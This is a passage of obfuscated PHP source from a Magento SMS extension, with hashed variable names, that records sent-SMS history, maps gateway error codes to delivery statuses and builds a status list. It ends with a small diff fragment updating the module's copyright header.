$ibcdf76f8c9ddc330c79f805116a8bb146c43749dd18c7e5bc71d5242a8b8cc24d43559e5dccbddb5 = explode("QQQ___QQQ", $ibcdf76f8c9ddc330c79f805116a8bb146c43749d55dd4e7042a1f9031b84f07f04c37165ce3d0720); else $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd18c7e5bc71d5242a8b8cc24d43559e5dccbddb5 = array($ibcdf76f8c9ddc330c79f805116a8bb146c43749d55dd4e7042a1f9031b84f07f04c37165ce3d0720); if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['number'])) { foreach ($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['number'] as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039=>$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getModel('magesms/smshistory'); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNumber('+'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['number'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setDate(date('Y-m-d H:i:s')); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal(Mage::helper('magesms')->countSms($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039], $this->getUnicode())); } $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::DND); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSender($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setAdminId($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode($this->getUnicode()); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCustomerId($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setRecipient($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode($this->getUnicode()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setType($this->getType()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSubject($this->getSubject()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->save(); } } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction'); foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd18c7e5bc71d5242a8b8cc24d43559e5dccbddb5 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039 => $ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a = Mage::getModel('magesms/api')->parser($ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89, '__'); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getModel('magesms/smshistory'); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNumber('+'.$if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setDate(date('Y-m-d H:i:s')); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal(Mage::helper('magesms')->countSms($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039], $this->getUnicode())); } else { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($ibcdf76f8c9ddc330c79f805116a8bb146c43749dcd14fe4ea296b55b8ecbf19d2fd7bfef3a511519); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal($if295547318143e26fc7026b92d58e3d1eec229db); } $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::ERROR); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][1])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setPrice($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][1]); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][2])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCredit($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][2]); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][0])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSmsid($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][0]); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSender($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setAdminId($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode($this->getUnicode()); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCustomerId($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setRecipient($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode($this->getUnicode()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setType($this->getType()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSubject($this->getSubject()); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 1 || $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 11) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::SENT); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 111) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::SCHEDULED); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('SMS will be send later - ').Mage::helper('core')->formatDate(date('Y-m-d H:i:s', $this->getSendlater()), 'medium', true)); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 9) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('wrong number or unavailable')); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 15) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('unauthorized senderID in confirmation sms')); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 10) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('low credit for sending sms')); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 16) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('DO NOT DISTURB registry (DND)')); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::DND); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 22) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('unicode is not supported')); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 23) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('message duplicity')); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::DUPLICATE); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['error'])); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 4) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('')); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customerID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCustomerId($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customerID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setRecipient($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); } else { continue; } if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d && !($ibcdf76f8c9ddc330c79f805116a8bb146c43749d % 10)) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->save(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction'); } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i5ee2fa256ff77dd811a9c1911f7563263a694e4b); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->save(); $this->v3a95f9a85ae3fecc89b69aa9ea2d057ac2807b0b = false; if ($i5ee2fa256ff77dd811a9c1911f7563263a694e4b->getStatus() == self::SENT) Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('SMS was sent.')); elseif ($i5ee2fa256ff77dd811a9c1911f7563263a694e4b->getStatus() == self::SCHEDULED) Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('SMS was saved.')); else { Mage::getSingleton('adminhtml/session')->addError($i5ee2fa256ff77dd811a9c1911f7563263a694e4b->getNote()); $this->v3a95f9a85ae3fecc89b69aa9ea2d057ac2807b0b = true; } } } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); } } public function setRecipient($ia61712c27ea241bd7a543dc2b02ea572274d0322) { if (is_string($ia61712c27ea241bd7a543dc2b02ea572274d0322)) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setNumber($ia61712c27ea241bd7a543dc2b02ea572274d0322); $this->getRecipient()->addItem($ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6); } elseif (is_array($ia61712c27ea241bd7a543dc2b02ea572274d0322)) { foreach ($ia61712c27ea241bd7a543dc2b02ea572274d0322 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { if (!trim($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d)) continue; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setNumber(trim($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d)); $this->getRecipient()->addItem($ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6); } } return $this; } public function addRecipient($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array()) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setNumber($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['country'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setCountry($ia61712c27ea241bd7a543dc2b02ea572274d0322['country']); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['customerId'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setCustomerId($ia61712c27ea241bd7a543dc2b02ea572274d0322['customerId']); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['adminId'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setAdminId($ia61712c27ea241bd7a543dc2b02ea572274d0322['adminId']); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['recipient'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setRecipient($ia61712c27ea241bd7a543dc2b02ea572274d0322['recipient']); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['text'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setText($ia61712c27ea241bd7a543dc2b02ea572274d0322['text']); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['dnd'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setDnd($ia61712c27ea241bd7a543dc2b02ea572274d0322['dnd']); $this->getRecipient()->addItem($ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6); return $this; } public function isError() { return $this->v3a95f9a85ae3fecc89b69aa9ea2d057ac2807b0b ? true : false; } public function status($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7e9551ab4470830f87be4f9ff5edc75013bc9257 = false) { $i2e68560d8e15e3c18bb400939778a6bf1ae47190 = array(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::SENT); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_sent.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('SENT to recipient')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::ERROR); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_canceled.gif'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('ERROR')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::DELIVERED); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_accepted.gif'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('DELIVERED to recipient')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::UNAVAILABLE); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_buffered.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('RECIPIENT UNAVAILABLE')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::SIMULATION); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_simulation.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('SIMULATION')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::SCHEDULED); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_scheduled.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('SCHEDULED')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::DELETED); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_deleted.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('DELETED')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::DND); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_donotdisturb.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('DO NOT DISTURB registry (DND)')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::DUPLICATE); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_duplicate.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('DUPLICATE')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7e9551ab4470830f87be4f9ff5edc75013bc9257 === false) return $i2e68560d8e15e3c18bb400939778a6bf1ae47190; elseif (isset($i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d7e9551ab4470830f87be4f9ff5edc75013bc9257])) return $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d7e9551ab4470830f87be4f9ff5edc75013bc9257]; return false; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
